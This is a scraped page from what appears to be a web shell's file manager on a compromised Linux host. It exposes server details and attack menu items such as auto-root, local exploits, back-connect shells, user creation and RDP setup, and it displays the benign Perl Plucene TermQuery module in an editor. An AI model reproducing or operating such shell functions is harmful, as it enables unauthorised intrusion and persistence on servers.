Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Plucene /
Search /
[ HOME SHELL ]
Name
Size
Permission
Action
PhraseScorer
[ DIR ]
drwxr-xr-x
BooleanClause.pm
385
B
-rw-r--r--
BooleanQuery.pm
4.24
KB
-rw-r--r--
BooleanScorer.pm
3.93
KB
-rw-r--r--
DateFilter.pm
2.08
KB
-rw-r--r--
Filter.pm
1.13
KB
-rw-r--r--
HitCollector.pm
1.19
KB
-rw-r--r--
Hits.pm
2.39
KB
-rw-r--r--
IndexSearcher.pm
3.35
KB
-rw-r--r--
PhrasePositions.pm
1.37
KB
-rw-r--r--
PhraseQuery.pm
3.21
KB
-rw-r--r--
PhraseScorer.pm
2
KB
-rw-r--r--
PrefixQuery.pm
1.81
KB
-rw-r--r--
Query.pm
2.12
KB
-rw-r--r--
Scorer.pm
663
B
-rw-r--r--
Searcher.pm
1.94
KB
-rw-r--r--
Similarity.pm
1.06
KB
-rw-r--r--
TermQuery.pm
2.46
KB
-rw-r--r--
TermScorer.pm
1.67
KB
-rw-r--r--
TopDocs.pm
701
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TermQuery.pm
package Plucene::Search::TermQuery; =head1 NAME Plucene::Search::TermQuery - a query that contains a term =head1 SYNOPSIS # isa Plucene::Search::Query $term_query->normalize($norm); my $ssw = $term_query->sum_squared_weights($searcher); my $as_string = $term_query->as_string($field); =head1 DESCRIPTION A query that matches a document containing a term. Term query are the simplest possible Plucene queries and are used to match a single word. Term queries are represented by instances of the TermQuery class and contain the desired term (word) and a field name, both are case sensitive. The field specified in a Term query must be a document field that was specified as 'indexible' during the indexing process. If the field was specified during indexing as 'tokenized' than the term will be matched against each of tokens (words) found in that field, otherwise, it will be matched against the entire content of that field. A term query may have an optional boost factor (default = 1.0) that allows to increase or decrease the ranking of documents it matches. =head1 METHODS =cut use strict; use warnings; use Plucene::Index::Reader; use Plucene::Search::Similarity; use Plucene::Search::TermScorer; use base 'Plucene::Search::Query'; =head2 term / idf / weight Get / set these attributes =cut __PACKAGE__->mk_accessors(qw(term idf weight)); =head2 sum_squared_weights my $ssw = $term_query->sum_squared_weights($searcher); This will return the sum squared weights for the passed in searcher. =cut sub sum_squared_weights { my ($self, $searcher) = @_; $self->idf(Plucene::Search::Similarity->idf($self->term, $searcher)); $self->weight($self->idf * $self->boost); return $self->{weight}**2; } =head2 normalize $term_query->normalize($norm); =cut sub normalize { my ($self, $norm) = @_; $self->{weight} *= $norm; $self->{weight} *= $self->{idf}; } sub _scorer { my ($self, $reader) = @_; my $term_docs = $reader->term_docs($self->term); return unless $term_docs; my $norms = $reader->norms($self->term->field); return unless $norms; return Plucene::Search::TermScorer->new({ term_docs => $term_docs, norms => $norms, weight => $self->{weight} }); } =head2 to_string my $as_string = $term_query->as_string($field); =cut sub to_string { my ($self, $field) = @_; my $rv = ""; $rv = $self->term->field . ":" if $field ne $self->term->field; $rv .= $self->term->text; $rv .= "^" . $self->boost unless $self->boost == 1; return $rv; } 1;
Close